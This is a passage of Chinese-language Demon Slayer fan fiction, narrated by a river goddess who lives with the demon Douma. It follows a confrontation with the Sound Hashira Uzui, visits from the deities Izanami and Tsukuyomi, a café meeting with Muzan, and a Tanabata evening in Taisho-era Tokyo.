“你跟我说这些干什么?!”宇髓天元的脸色变得不太自然,“我说了我不关心那些鬼有什么悲惨的过往,只要变成鬼,吃了无辜之人,就该下地狱!” “……那个武士连她哥哥也想杀掉,却被悲愤至极的妓夫太郎反杀了。哥哥抱着只剩一口气的她,沿街一路求救,却没有一个人,没有一个人肯救他们…” “直到你面前这个吃了无数人的上弦路过,把他们兄妹变成了鬼,小梅和她哥哥才活了下来。” “宇髓先生,”我直直地盯着那男人充血的眼睛,“小梅吃的那些人,大多都不无辜,他们默许了吉原的存在,他们明知道那里的游女是什么命运,明知道罗生门河畔有多少小梅那样的女孩子,但这并不妨碍他们去那里寻欢作乐。连你们猎鬼人也一样,你们同样知道吉原是什么样的地方,对吗?但你们只会为被鬼杀死的人复仇,却无视那些被人类践踏、被人类残害的人。” “这世上没有神佛帮助困苦之人,宇髓先生,也没有真正的无辜之人,每个人都带着罪业而生,每个对人世的黑暗视而不见的人,都是制造出‘鬼’这种生物的元凶。” 我微笑道:“你以为用地狱这种东西就能吓唬住鬼吗?小梅和她哥哥还是人类时,就已经活在地狱里了。你以为地狱在什么地方?地狱就在人间啊!” 宇髓天元沉默了片刻,声音嘶哑地说道:“我不是没见过你说的那些事,但人是可以选择的,因为自己的不幸,而选择堕落成恶鬼,去坑害他人,这种不华丽的事情…恕我不能苟同。” “啊,我知道该怎么办啦~” 我身后的鬼忽然睁大了那双虹色的眼睛,露出了如孩童般天真又残忍的表情。 “不如咱们来试试吧?看看身为鬼杀队的柱的宇髓先生,面对同样的事情的话,又会怎么选择呐?” “你要做什…不!雏鹤!你不准碰她!恶鬼!不要碰她!” 名为宇髓天元的柱疯狂地挣扎起来,却只能眼睁睁看着一条莲蔓像蛇一样弯了起来,径直扎进了昏迷中的少女的脖颈。 女孩的鲜血沿着那诡异的莲蔓流淌,又一滴不剩地被吸收的干干净净,不一会儿工夫,雏鹤的脸色就变得苍白无比。 “女孩子的血果然味道是最棒的啦~”童磨舔了舔嘴角,眼中闪烁着餍足的惬意,“虽然人家现在不再需要进食人肉了,但在工作之余吃个点心也不错哦~” 宇髓天元目眦欲裂地看着他。 “恶鬼!就算今天我们都死在这里也没关系!鬼杀队不会放过你!你一定会遭到天谴的!” “宇髓先生,你又错了哦~”童磨笑眯眯地说,“神佛是不会降下天谴的,所以这个世界上,一向是善良的好人遭到蛮不讲理的对待,而坏人则一个个飞扬跋扈,过的要多痛快有多痛快,这么简单的道理,你难道还没有理解嘛?脑子这么笨一定很难受吧?” “童磨大人说的对。”我笑道,“只是请容我补充一句。能从地狱里走出来的鬼,其实已经不能算作是鬼,而是跨越生死界限、不受人类怨念染污的存在,自然也不再受到人类眼中那扭曲的‘天道’的遏制,如果硬说的话,这种生物叫做‘鬼神’才比较合适。宇髓先生,你尽可以将今天在这里所发生的一切都报告给产屋敷,或是告知你们鬼杀队任何一个活下来的人,但是你这么做的话,除了为这些人带来无休无止且毫无意义的痛苦、仇恨和杀戮,并没有其他任何的好处。你最好想清楚再做决定。” “诶?小染说的这是什么话?人家不要当神,做鬼就很好呀~”鬼抱怨起来,“做鬼最开心啦!啊,这个女孩子就快要死了哦,宇髓先生,你是想让她就这么死掉,还是接受我的血变成鬼呀?” 他轻轻挥了挥扇子,几条莲蔓就将那奄奄一息的少女送到了怀里。童磨抱着那名为雏鹤的少女,伸出舌尖舔舐她脖子上流出的残血。 “只剩一口气了哦,快点做个决定吧~” 那男人的眼中只有绝望。 “雏鹤…雏鹤她说过,想退居二线,以普通人的身份度过余生…她只有这么简单的愿望而已啊…” 听到这话,我含着眼泪笑了起来。 “宇髓先生,小梅对我说过,她也只是想在大一点的店里工作,多赚点钱,和哥哥过上能吃饱饭的日子…而已啊…” “是我错了…无论怎么选都是错的…我可以去死,但我没有权利…没有权利替雏鹤决定她的生死…正是因为这样,我才从家族里退出啊…” 宇髓天元好像终于下定了决心似的抬起头,目光一片空洞。 “请…救救她,救救雏鹤吧!哪怕是…哪怕是…” 我几乎不忍心再看下去,于是扭开了头,却听见童磨发出了一声轻微的叹息。 “真是无趣啊…宇髓先生。” 鬼松开手,将瘫软的少女丢在了地上。 “当年妓夫太郎可是想都没想就答应了呐。你会想这么多,只是因为没有经历足够多的痛苦而已。小染说的对,你们这样的人,不配得到我的救赎哦。” “啊,第一次有玩腻了的感觉呢。小染,今天的工作就算结束啦,我们走吧~” “是,童磨大人。” 肆虐在整条街道的莲蔓突然一起消失的无影无踪。我沉默地转过身,最后看了一眼那位以杀鬼来赎罪的柱。 他这辈子都注定得不到想要的救赎了。 “三条街之外有家医院。” 我轻声说道,“你现在送她过去还来得及。” 那男人猛的抬起头来,以一种难以置信的目光看着我。 “宇髓先生,你该庆幸这里是银座,而不是罗生门河畔。” 说罢,我再也没有回头,跟着童磨踏入了前方的黑暗中。 一直到车子开上山路,我才慢慢止住了眼泪。 “诶呀呀,小染又是因为什么在哭呀?”鬼笑嘻嘻地递给我一方手帕,“我看鬼杀队算是完蛋啦,剩下的猎鬼人不是开了斑纹快要死掉的,就是今天这种脑子不好的蠢货,而且只要是在人多的地方,他们就一点办法都没有哦?” “跟他们有什么关系?我只是想小梅了。” 我擦干眼泪,感觉迎面而来的山风让自己清醒了很多。 “我曾经告诉那孩子,要放下仇恨,努力去争取幸福。” “现在想想,我也是虚伪的人呢,我有什么资格要她原谅人类?这些…自始至终,都没有将她当作一个人来看待的人类。” “小染又在苛责自己了哦。” 童磨开着车,平静而笃定地说。 “不要想那么多啦,小堕姬他们一定已经转世了,下次见面时大家再做朋友吧。” 不知道为什么,这鬼的安慰对我来说永远管用。 “嗯。以后…一定还会见面的。” 我看着他微笑起来,忽然发现那件银白色羽织的前襟染上了一抹暗红。 “诶?你把衣服弄脏了?” 鬼低头看了一眼,“哦哦,可能是抱那个女孩子时沾上的吧,小事而已~” 他随手一扯,就将那件羽织顺着路边的山崖丢了下去。 我目瞪口呆地看着他,又看了看衣服消失的方向。 “童磨大人…那是桐生织啊…今年三越吴服店卖至少三四百元一件,差不多是普通人大半年的薪水呢,你、你就这么给扔啦?” “诶?人家的衣服弄脏了都是这么办的嘛,被信徒看到上面有血的话会感到不安哦,到时候又要送人去极乐,很麻烦的呀~” “……所以你是因为这个原因才喜欢穿红色?” “对呀,那样不容易被发现哦~”鬼洋洋得意地说,“人家是不是很聪明?” “……你今年都不准买新羽织了!穿你那没品味的红衣服去吧!” 97. 终章:花(14) 果然不出教主大人所料,米价从七月开始暴涨,到了八月,更是在一周内翻了一倍,到了一个真正意义上让人吃不起饭的价格。于是民间暴乱四起,从关西到关东,一夜之间人类好像全都疯了。东京都内到处都是警察把守,但连银座和日本桥的部分店铺都被愤怒的人群砸毁。满大街都是解散内阁的口号,就这么一直闹到了秋天,华族的内阁还真的倒台了,众议院的一群人粉墨登场,组建了新的政党内阁。 这场人祸的受益人之一就是那位田中先生。五月他在我的安排下拜见了教主大人,不知得到了些什么提点。没过几个月,竟然在咖啡馆的报纸上看到他在党内选举中大获全胜的消息,还成了警视厅的高官。田中先生为人谨慎低调,又隔了段时间后的一天深夜,他由山田带着亲自登门来寺里道谢。不知道教主大人用了什么手段,田中先生从茶室出来时感激涕零,一直说自己见到了真神,以后若有机会,一定以性命报答神恩云云。 于是我大概领会到了万世极乐教这么个异端小教团能在这个天灾人祸不断的国家存在两百年的原因。毕竟我们的教主大人一贯提倡的教义是“不用做辛苦的事,要安稳快乐地生活”,不论江户还是大正,不论高官还是平民,这都是人类这种生物内心最根本的渴望。 由于东京都的混乱,整个夏天我几乎都呆在御岳山里,毕竟这地方山势险峻人迹罕至,加上我顺手给极乐寺所在的山设了个隐藏结界,外人就算能从别的山看见寺庙的建筑,也走不到这里来。结果意外的增加了神秘感,以至于很多年后都有人传说御岳山里有座能“神隐”的寺庙,没缘分是见不到的。 山里的夏天平静美好的如同另一个世界。夜晚有漫天星斗,寂静的山间只闻蝉鸣和远处瀑布的阵阵水声。白天我就带着名叫芥子的小姑娘进山去采野草莓,加蜜糖煮了做成果酱,味道堪称绝妙,得到了以山田先生为首的一干教众的一致好评。 万世极乐教和它的教主大人一样停留在时间和尘世之外,竟然真的像一座动荡中的庇护之所。信徒们倒确实过的安稳快乐,反正教主大人有的是钱,把剩下这几十人养到寿终正寝也没什么问题。我不禁在想,两百年中,一定有绝望的信徒真的在这座寺庙中得到了动荡人世中难得的清净,也了无遗憾地走向了极乐。那个最终失去了自己洁白灵光的神明之子,以他独有的方式让信徒们获得了幸福。 只有我知道,童磨偶尔还是会在深夜外出狩猎,在黎明前归来,但身上不再带有任何血腥味,干净到能直接去主持早课。人类总以为全世界都要围着他们转,哪怕是野兽也该被拔掉獠牙,但他们只见过野兽,没见过连灵魂都能吞噬的人形魔物。面对那些真正超出认知范围的东西,他们其实连觉察都很难。 而“鬼神”就是那样的存在。 极乐寺的莲池中常有几十上百朵莲花盛放,童磨大人半夜吃饱喝足回来,一时兴起就会在莲池畔跳扇舞,还逼着我唱歌打拍子,导致我成了个兼职歌伎,就差一把三味线了。 因为之前去浅草看过几次西洋歌剧,我学会了那里面的唱段,比如那首在城里的咖啡馆盛行一时的歌: 人生匆匆, 去爱吧,少女, 趁朱唇未褪, 趁热血青春, 恰如明日不会来。 人生匆匆, 去爱吧,少女, 趁青丝正好, 趁春心萌动, 今日时光不再有。* 只不过都两百多岁的神了,下棋或者双六玩输了就被逼唱这种甜腻腻的情歌,我也是无奈。 夏末的某天夜里,院子里来了两位不速之客,竟是伊奘冉尊和月读命。 我被吓了一跳,黄泉津女神亲临可不是什么闹着玩的事,况且之前从未听说她能以实体离开地狱。然而那娇媚的黑发少女显然恢复了自由行动的能力,这次不仅顺应潮流的穿了一身白色洋装,还打了把蕾丝洋伞,像个洋娃娃一样好看,只是摆着一张臭脸东看看西瞧瞧。 “那恶心的家伙不在吧?” 我一时半会没反应过来,只见月读命在一边颇为无奈地说: “大人,请不要说这种粗鲁的话。” “怎么不能说了,我想起他就恶心,恶心的家伙,疯子,变态!” 听到这一连串难听的骂人话,我大概理解了她的心情,毕竟狛治阁下和无惨大人之前也有过类似的心情。 “那个…你们是找童磨吗?” “不找他,找你。” 伊奘冉尊不客气地往檐廊下一坐,把一样东西丢到了我眼前,那东西挺沉的样子,落在木地板上发出了砰的一声。 居然是缩小了的“时轮”。 “你们那群鬼不会是想赖在地狱不去转世吧?虽然之前谈好把死灵和寒冰两个界域划给那个变态当地盘,可谁想到那家伙居然丢下他们不管了!早知道他是这么个靠不住的家伙,我才不会同意跟他合作呢!” 我小心翼翼地说:“不对啊,童磨之前说是您…不需要他帮忙了,所以提前打发他回来的啊?” “天天看着那种人在你眼前晃,谁会受得了啊?!” 伊奘冉尊不知道受了什么刺激,提起这事脸都黑了。 “不指望那个神经病了,白姬,看在我们都是神灵的份上,这事就交给你了。那群鬼虽然没剩下几个,但转世也是件大事,你们多少负点责任好不好?” 我,一个神灵,居然在被前辈教训要对一群鬼负责任… 于是我摆出个诚恳的笑容,给女神倒了杯茶。 “您看能不能宽限一段时间?人世这边最近越来越乱了,大家上辈子那么苦,我打算等情况好转了再安排他们转世。伊奘冉尊,虽然我不知道您如何获得了自由,但您获得自由这件事本身已经说明了一切吧。” 伊奘冉尊瞥了我一眼,面上流露出一丝冷笑。 “荒川之神,你已经看出来了吗?” “不敢,我只是个水神,您想对人类、对天神们做的事,说到底和我们无关,我和童磨也不打算牵扯其中。” “我只是厌倦了继续当高天原那帮废物的垃圾场,他们自己坐在一边看戏,把脏东西全丢到我这里来,真是恶心透了。”黄泉津女神一脸厌烦地说,“就让人类自己吃自己的业果去吧,正好我之前有些帐还要跟那该死的狗男人算,不会让他们好过的。” 嗯,大神们之间的家庭矛盾,外人还是不要插嘴的好。但愿伊奘冉尊不要学童磨他妈妈那样,酿成人间惨剧。 “时轮是门,你应该已经知道怎么用了。其他的事你看着办吧。告诉那个神经病,叫他没事少来烦我,我还从没见过像他那么话多的鬼呢,简直是…” 她明显想骂句脏话,又碍于女神的尊严给咽了回去。 “算了,月读,我们走吧,我可一点不想在这里碰到那个神经病。” 月读命微微躬身道:“我还有些话想跟荒川之神说,请您容我耽误片刻。” 伊奘冉尊哼了一声,隐去了身形。 “月夜见尊,我要向您道谢。” 我抢先一步向那位身着狩衣的神明深深跪拜下去。 “是您修复了我的灵体吧?虽然不知道身为天神的您为何这样帮助我们,但还是很感谢您。” “白姬,你不必客气,我这样做自然有我的原因。”月读命微笑道,“你想问我什么就问吧。” “那我就问了…青色彼岸花的预言,是您借那位医师之手写下的吧?您早就看到无惨大人的命运了,对吗?您为什么要…帮助鬼的这一方?” 这位真正深藏不露的天神轻轻叹息了一声。 “白姬,你先回答我一个问题,神明到底应该如何对待人类?” 我想了想,答道: “人类是很复杂的生物,他们身上永远有美好也有丑恶,有荒谬也有真理,所以我不喜欢他们,却又被他们吸引。尽管我以人类之心爱着童磨大人,但在人类面前,我依然是个神明。” “虽然这样说有些冷酷无情,但经历了这一切,现在的我赞同天神们的做法。神明对人类并没有救赎的义务,因为这救赎是没有尽头的。正是因为人类对彼此的冷漠和怨恨,才让神明担负了本来不属于他们的因果,我…已经不想再看到第二个极乐教的小神子了,他曾经抓住了那些伸向他的手,却被拖进了地狱里。而人类明明吞噬了他的灵光,最终却将他当作鬼来唾弃,这种事情…实在太不公平了。” 月读命点了点头:“所以你应该已经知道童磨是什么了吧?” “我不知道,月夜见尊,或者说,我依然不能完全确定…” “神明在作为神明诞生之前,其实只是一颗种子。” 月读命缓缓说道。 “这颗种子不通人理,无色,无心,恰如冰雪,成为什么样的存在,只看投入到什么地方。譬如你这颗种子就降临到江户,一部分成为了荒川的水神,但还有一部分,转世成了名为白姬的巫女。” “诶?所以我和小白的灵魂才那么契合?”我惊讶道,“果真像明子夫人说的那样吗?这也太神奇了…” “神明的蜕变和人类不同,人类是活在一次次转世轮回中的生物,但神明不一样,神明可以分散自己的灵魂,同时拥有很多段生命经历,最终合为一体,完成自身的演进。”月读命解释道,“也因此,你才能成为今天的你,拥有完整神格的荒川之神。” “等等,所以那个孩子他…” “神明的种子直接转世成人类的情况非常罕见,因为是不通人理、完全空无的存在,又拥有帮助人类的本能,所以极其容易被人类的因果所染污,堕落成失去自我的状态,乃至…沦为非人。” 我想起两百年前,在江户街头第一次见到的、那像是冰雪折射着彩虹的耀眼灵光,眼泪不禁一下子掉了下来。 “果然还是…这样吗?” 那个向我伸出手的、温柔的孩子,死在了人世的黑暗里。 活下来的,只有名为童磨的鬼。 “也不是什么坏事。”我擦了擦眼泪,微笑道,“至少他后来过的还算开心,哪怕在地狱里也适应的很好。以后我不会再让任何人伤害他。” 月读命无语地看着我:“白姬,你清醒一点,他那样的存在,不伤害别人就不错了。” “呃,抱歉…所以您到底为什么要帮我们呢?” “我不是帮你们,而是帮刚刚那位大人。” 我惊讶地看着目光深邃的月神,他朝我微微一笑。 “重要之人失去自由、堕入地狱的,不止你一个,白姬,你曾经为了拯救童磨不惜一切代价,应该能理解这种心情吧。” 啊嘞,我好像不小心听到了什么了不得的大事… “对了,我在地狱里遇到了天照的使者,他将这个交给了我,拜托我帮忙修复里面残破的灵魂。我已经完成了,如果没什么问题的话,在适当的时候,我会安排他去转世。” 月神从怀中拿出了一样东西。 那是一节做工粗糙的竹笛,在黑暗中泛着淡淡的银色幽光。 如同那清冷傲岸、所向披靡的银白月刃,属于那位曾教导我挥刀斩断一切软弱的上弦。 极乐地狱之端,必有光明。 我捂住嘴,忍不住激动到哽咽。 “真是太好了…那就拜托您了,月夜见尊,来世请一定…让黑死牟大人得到幸福。” “那对兄弟的因果,也是令人惋惜。”月读命摇了摇头,“也许转世后真的不会再相见了吧。” “谁知道呢,缘分这东西一向很难说啊。我只希望无论做人还是做鬼,大家都能成为独一无二的自己,骄傲地活下去。” “小月读,你怎么来啦?诶呀呀,难道美子酱也来了嘛?” 月读命明显脸色一僵,转身就要走,却被某只突然出现的鬼亲热地搭上了肩膀。 “你们都没有想念我嘛?我可一直在惦念大家呢,毕竟你们都是我最好的朋友呀~小月读是第一次来我这里玩吧?我今天带了稀血回来哦,要不要试试看?” “不必了,谢谢。”神明嫌弃地扒拉开那只搭在自己肩膀上的手,“我还有事,先走了。你也尽量收敛一点吧。” “这叫什么话,人家做鬼一直很低调的,都会吃的很干净哦~诶呀,别走嘛~” 月神早就跑没影了。童磨有点委屈地看着他消失的方向,看上去又受到了一次社交打击。 “小月读好冷淡呀,人家明明想跟他们搞好关系的嘛~” 我忍不住笑了。 “我准备了酒哦,童磨大人。” “太棒啦~就知道小染最理解我啦~” 鬼顿时露出了孩子般天真的笑容。 “咱们把稀血放在酒里试试吧,感觉会很不错哦~” “好啊,我陪你喝,不过我酒量不行,你不许灌我!” “啊哈哈,小染喝多了的话唱歌就会跑调哦,别提多可爱了~” “…闭嘴啊你!” “不要嘛~” 时间就这么一天天过去。等到秋天再次进城时,我却得到了保罗老板想转让咖啡馆回国的消息。 正巧教团卖掉了位于神乐坂的几家米店,收回了一大笔钱,我就自作主张地将这座名为“罗斯林咖啡·洋食屋”的小店买了下来。 都什么年代了,也该换个买卖做做了。 “荒川小姐,请恕我直言,我并不看好这个国家的未来。” 洋人看着窗外恢复了繁华的银座,对我说道。 “今年夏天的骚乱让我看到了东京的另一面,穷苦的平民和高高在上的官僚之间隔着一堵看不见的墙,上位者漠视他人的痛苦,受到压迫的人则忍耐着愤怒…这样迟早是要出事的。” 我用叉子戳了戳盘子里的蛋糕,淡淡的说:“这个地方从江户时代开始就是这样的,或者说,这是人类的本性才对吧。” “或许的确如此,但正因为这样,耶稣才会以自己的血救赎人类的原罪。” 我笑了:“我知道您说的那个故事,最 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“虽然这话有些僭越…但荒川小姐来了之后,总感觉教主大人变得和以前有些不一样了。我们这些人之前一直依靠教主大人的庇护而活,即使他不在的那段时间,也多亏了极乐寺的存在才能有饭吃,有地方住…我知道这是来自神明的慈悲,但也许…我们也该做点什么来报答神明。” 山田先生扯出了一个有点不好意思的笑容。 “看到荒川小姐每天都这么努力工作,一直吃闲饭的我们,实在觉得有点丢脸呢…” “您完全不必这样想。”我认真地说,“如果没有你们的守护,万世极乐教也就不复存在了。虽然这话可能有些亵渎,但我想说的是,神明也是需要一个家的,你们为教主大人守住了他的家,这就足够了。” “啊,荒川小姐的想法果然很新奇呢…是因为在洋人那边工作过的缘故吗?这样的话…请至少让芥子那孩子出来见见世面吧,她都快十四岁了,虽然认识字,但从没出过山,这样怎么说好像也有点可惜。” “没问题,如果芥子愿意的话,我可以送她去上东京的学校。”我笑道,“就算在店里工作,我的朋友明子夫人应该也很乐意教导她。” “那真是太好了!我替那孩子死去的父母谢谢荒川小姐!” 我虔诚地双手合十道:“要谢就谢教主大人吧,这都是神明的赐福。” 这是必须的啊,说到底,我们吃穿用度都花的是那只鬼两百年来“努力”工作赚的钱嘛。 自从买下了咖啡馆,童磨大人更加堂而皇之的出现在店里。后来我们索性约定每周抽出两天去店里工作。当然,工作的只有我,某只鬼更喜欢坐在落地窗边那张固定的桌子旁,假惺惺的边看报纸,边用鬼专有的敏锐听觉来偷听别人聊天。 “情报就是金钱嘛。” 有次我问他为什么对人类的事这么感兴趣,他振振有词地说。 “小染你是知道的吧,人家一向很注意收集情报哦。就是因为这样,才能很快晋升到上弦之贰嘛~” 不,还因为你吃得多,以及身为神明之子而比别人多出一倍的血鬼术天赋。 我默默的想。 深秋的一天傍晚,我正打算下班,咖啡馆的玻璃门忽然被推开了,一名身着黑色风衣,头戴白色礼帽的时髦男性携着一股寒气和古龙水的香味走了进来。 “欢迎光临,小店已经打…烊…了…” 男人抬起头,露出了梅红色的双眼,眼中的瞳孔是像猫一样的细线。 “白姬小姐,”他俊美的脸上带着讥讽的笑,“你还真是厉害啊,竟然在银座做起生意来了?” “怎么了?我开的又不是风俗店。”我摊摊手,“好久不见,大人您可还安好?” “诶呀呀,是无惨大人呀,我可一直惦念着您呐~” 无惨大人的脸色就像所有听到这一标志性开场白的人一样黑了下去。 他回过身,以鬼王独有的傲然,冷冷注视着那只坐在桌旁笑嘻嘻的鬼。 “童磨,你已经堕落到这种地步了吗?整天呆在咖啡店里听人类扯闲话?嗯?这是什么?《朝日新闻》?你就把时间都浪费在这种东西上?我之前说你不思进取,现在看来果然如此!” 唉,成了鬼神也逃不过前老板的骂,也是命啊… 童磨委屈地辩解道:“您这叫什么话嘛,人家可是仔细读完了最近几年的报纸,对人类的事有很多自己的看法哦~” 无惨大人眯起了眼睛,忽然冒出一句令人意想不到的话: “你在警视厅和众议院有人?” “诶呀,大人您是怎么知道的呀?人家确实有信徒在那边工作哦~” “呵,你以为能瞒得过我?” 无惨大人熟练的冲我打了个手势:“给我杯咖啡。” “您…加糖吗?” “白姬小姐,问这种可笑的问题,你这店要关门了。” “哦。”我顿时有点紧张,主要这客人太难伺候,一不小心整条街大概就没了。 两只硕果仅存的鬼,一个威压十足,一个嬉皮笑脸,对话内容却极为默契。 “你处理掉那个音柱了?“ “没有哦,但他应该不会碍事了。您那边进行的如何啦?” “和你无关…暂时不构成威胁。剩下的那些猎鬼人你怎么打算?” “反正他们也活不了多久啦,人家才懒得多事呢~”童磨用扇子掩住脸,笑的像只狐狸,“倒是大人您,如果一直用那个拟态的话,过不了几年就要结婚生孩子哦?” “…这个用不着你提醒,我自然有办法应对。你那边还有什么发现?” “有什么来着…对了对了,人家之前吃掉了珠世的那个小鬼,在他家里找到了很多有趣的药哦~” “做得好。”无惨大人赞许地说,“你果然没有让我失望。” 童磨顿时流下了两行眼泪。 “这是您第一次夸奖我哦,大人。”他嘤嘤呜呜地说,“两百年来的第一次呐,人家真是太感动了,啊啊,心脏都跳的快了呢~果然人家最崇拜的就是无惨大人了~” 鬼王的表情看起来就好像要把去年的咖啡都吐出来一样。 我适时地端了只盘子过去。 “这是什么?”无惨大人阴森森地看着我。 “红豆面包,店里卖剩下的。”我诚实地说,“我觉得您可能需要吃点甜的。” “……滚开。” “……哦。” 一开始还是正常的对话内容,后面开始渐渐跑偏。 “你对最近的生丝出口怎么看?” “还有涨价的余地哦。但药品的话会涨更多,人类的战争一时半会结束不了呐。” “股票呢?” “那个不太看好哦,两年内必定会出大事。这届内阁也很难稳定下来,这样的话,类似今年夏天的事还会发生哦。” …… 大正七年的秋天,两只世上仅存的鬼,在努力地融入时代的洪流。 *《凤尾船之歌》 98. 尾声:七夕篇(上) 大正八年,夏。 “握刀的要领在于你的手臂、腰和腿都要用上力气,以及时刻保持高度的警觉性,只要挥刀,就要有将对方一击毙命的觉悟,所以关键是斩断你心中的软弱和犹豫,记住了吗?” “是!” 少女脸颊通红,汗水将乌黑的头发粘在了面颊上,手中的木刀却拿的挺稳,大喝一声向我劈来。 我边挥刀格挡,边笑道: “很好,比之前熟练多啦。下次要是再有男生欺负你,明白怎么做了吗?” “明白!打到他爬不起来!” “没错!”我放下手中的木刀,“虽说现在有禁刀令,没法带着真刀上学,但如果真遇到坏人,洋伞或者扫帚也是可以拿来用的。你上的是女校,可也难免会在外面碰到没礼貌的男人,女孩子必须要学会好好保护自己才行。记住了,女人一点也不比男人差。” 女孩点点头,“这个我懂,明子夫人也是这么说的。” 芥子快满十五岁了,有幸在明子夫人推荐下进入了她少女时代的母校就读。入学前我让她选个姓氏,她直接吓了我一跳。 “我要跟荒川小姐一个姓!” 这孩子什么都好,就是被我影响的有点过于直率… “咱们又没有血缘关系…你父亲姓什么?” “听说是姓浅山,好像和很久以前教中一位女侍长的姓氏一样。但常驻的信徒都是自愿放弃了自己俗世的身份,追随教主大人修行,所以我也…” “不可以哦,芥子。”我看着少女懵懂的好像初生小鹿的眼睛,认真地说。 “父母所给予的名字,代表了你最初的''自己'',所以绝对不可以忽视。以后等你成年了,想改名字也不是不行,但现在要用自己原来的姓哦。” 不过这个问题没过多久就解决了。 “明子夫人给我起了英文名字,叫爱丽丝!” 有次女孩放假回来,兴冲冲地说。 “诶?这个…好像听起来有点耳熟?” “听说是洋人写的童话,讲的是一个叫爱丽丝的女孩子掉进了兔子洞的冒险故事。以后我就叫爱丽丝啦!” 山田先生摇着头路过:“现在的孩子,都什么乱七八糟的啊,唉…” 我有点无奈:“你就这么不喜欢芥子这个名字嘛?” “那个…同学们都说好土…”女孩鼓起嘴巴,闷闷的说。 说的也是,即使在女校里,芥子这名字也过于具有宗教气息了… “那叫‘萤’怎么样?”我忽然想到了一个字,“萤火虫的‘萤’。” “爱丽丝”小姐的眼睛亮了起来,使劲点了点头。 “那从今天开始,我就叫‘浅山萤’啦!” 话说明子夫人还真是擅长教育女孩子,才认识多久,这姑娘就敢给自己改名了… “荒川小姐,教主大人找您。” 我看了眼天色,惊道:“糟了糟了,忘记要出门了!” 把木刀丢给芥子,不,她现在的名字是阿萤。我火速跑回房里洗澡换衣服,顺便抓起桌上的小町红画了个淡妆——今天是七夕,吃过晚餐要去浅草看歌剧,所以多少还得打扮的正式点。 一路小跑到约定的地点,那只鬼早就笑嘻嘻地倚在红色洋车边等我了。 “你…你居然穿洋服了!” 我感觉自己下巴都要掉了。 “洋服怎么啦?无惨大人也穿嘛~”鬼无辜地说。 我不禁暗自感谢永远走在时尚尖端的无惨大人终于起到了一点积极作用。这鬼穿洋服的效果简直好到不可思议,他本来身材就高大挺拔,加上白橡色的长发和剔透的七彩瞳,和黑色的西洋长风衣搭配起来一点没有违和感。 我默默想到一个新学的词——斯文败类。 啊,早知道我就买下三越那身早就看上的连衣裙了。 “小染今天也很可爱呢~” 冷不丁的,那鬼不知何时凑了过来,伸出手指在我唇上轻轻蹭了一下,又舔了舔指尖。 “小町红果然很适合你哦~” 我的脸一下子热了起来。 斯文败类斯文败类! “废…废话,我可是为了去看宝冢特意穿了正式的振袖啊!但都穿成这样还怎么逛夜市啊,今天可是七夕!” 鬼笑的像只狐狸:“对哦,今天是七夕呢,小染准备了什么礼物给人家嘛?” “用我开店挣的钱请你吃steak?house还不够吗?”我拉开车门,“今天我开,免得你跟上次一样!” 为了再也不经历一只喝到唱江户净琉璃的鬼大半夜开车带你走山路的恐怖,我特意跟山田先生学了驾驶。 不得不说这只鬼的观察和学习能力都很强,第一次看他优雅地用刀叉切牛排的样子,我简直又吃了一惊。 比我第一次那差点让肉飞出去的表现强太多了。 餐厅完全是西洋风,灯光昏暗,椅子和窗帘都是暗红色的天鹅绒布,衬托着窗外银座火树银花的夜景,有种异样的奢靡和妖娆。留声机里放着《仲夏夜之梦》里的曲子,杯中的红酒在银烛台的照耀下闪闪发光。 这气氛过于罗曼蒂克,如果忽略盘子里近乎全生的牛排上浇的是不知道哪来的稀血的话。 “这样就好多啦~”童磨大人开心地举着血淋淋的叉子,“虽然没法和女孩子的肉质相提并论,不过这样是不是说明人家已经很像人类啦?” “很像,很像。”我咬牙切齿地说,“如果你能少吃点就更像了。” 见过吃女孩子的,见过吃牛排的,没见过按女孩子的体重吃牛排的… 这太可怕了,几乎吃光人家餐厅当天的存货也就算了,更要命的是这一顿花光了我的咖啡馆一个月的收入。 心痛啊…我怎么会天真到幻想我能养得起一只这么能吃的鬼… 感觉自己做了一笔血亏的买卖,但也只能硬着头皮亏到底了。 “这个送你。”我拿出一只精致的锦缎小盒子,“是我准备的七夕礼物哦。” “哇啊~这是什么呀?”鬼兴高采烈地接了过去,“诶诶,是…洋表嘛?” “是怀表。”我纠正他,“百达翡丽的,外壳是纯金的哦,别弄丢了。” 童磨大人一脸天真:“可是小染为什么要送这种东西呀?人家是鬼,又不需要看时间哦?” 我抿了口红酒,笑道:“就是为了让大人你有点时间观念啊。你看,人类都是有上下班时间和周末的,但教主大人每次听人祷告都是一整天,你也需要拥有自己的时间呀。” “自己的时间?”他看起来有点迷惑,“但信徒们需要我的时候,我就应该听他们倾诉,这是作为教主的义务哦。” “事实证明你不在的时候,你的信徒们一样活的很好。记得我之前跟你说的,要寻找属于自己的幸福吗?就先从拥有自己的时间开始吧。” 鬼托着腮,似懂非懂地点了点头:“那么应该在自己的时间做点什么呢?” “看书,吃东西,发呆…什么都可以呀。”我切了块牛排,“你要不要尝尝熟肉的味道?” “要~” 这货笑得眯起了眼睛,好整以暇地看着我。 “不是吧?”意识到他不怀好意,我愕然道,“你多大了啊童磨大人?” “是小染先问人家要~不~要的嘛~” 这句话说的巨大声,语气还百转千回暧昧至极,导致附近桌子上绅士小姐们外加侍应生的目光齐刷刷落在了我们身上。 我错了,我一个神灵,为什么要跟一只鬼比脸皮的厚度?他不要脸,我要啊! 于是我咬着牙根插了块盘子里的牛肉,只想一叉子戳进他喉咙里,却被他轻巧的握住手腕,叼走了叉子尖上的肉,舌尖还在我的叉子上舔了一圈剩余的酱汁。 “味道还不错哦~” 四周传来洋人零星的口哨声和姑娘们小声而羞涩的笑,我觉得自己快炸了。 这都是在哪学的调情的手段啊!吉原的花魁那里吗?? 这家餐厅一百年内我都不要来了! 一直到宝冢的歌舞剧开场,我还沉浸在方才那令人难以启齿的经历里。 太不像话了,真是太不像话了! 下流!简直是下流! 好在宝冢永远不会让人失望。今天演的是法兰西人奥芬巴赫的名剧《天国与地狱》,艳丽的舞娘们头上插着羽毛,在象征地狱的鬼怪布景前载歌载舞。气氛被烘托的相当热烈,我正看得高兴,忽然听见身后传来个幽幽的声音: “白姬,这演的都是什么鬼啊?” 我猛的回头,惊悚地发现伊奘冉尊和月读命坐在后排,黑发少女的脸色像是要把剧场给吃了。 “诶呀呀,是美子酱呀~这个人家特意事先了解过哦~”旁边某只鬼在闹哄哄的音乐声里兴奋地说,“其实讲的是夫妻双方各自找了情人,最后一个把另一个送下了地狱的故事呐~” 不知道为什么,伊奘冉尊的脸色更黑了… “白姬,是讲的这种事吗?” 看到月读命尴尬地拼命使眼色,我乖巧的摇了摇头。 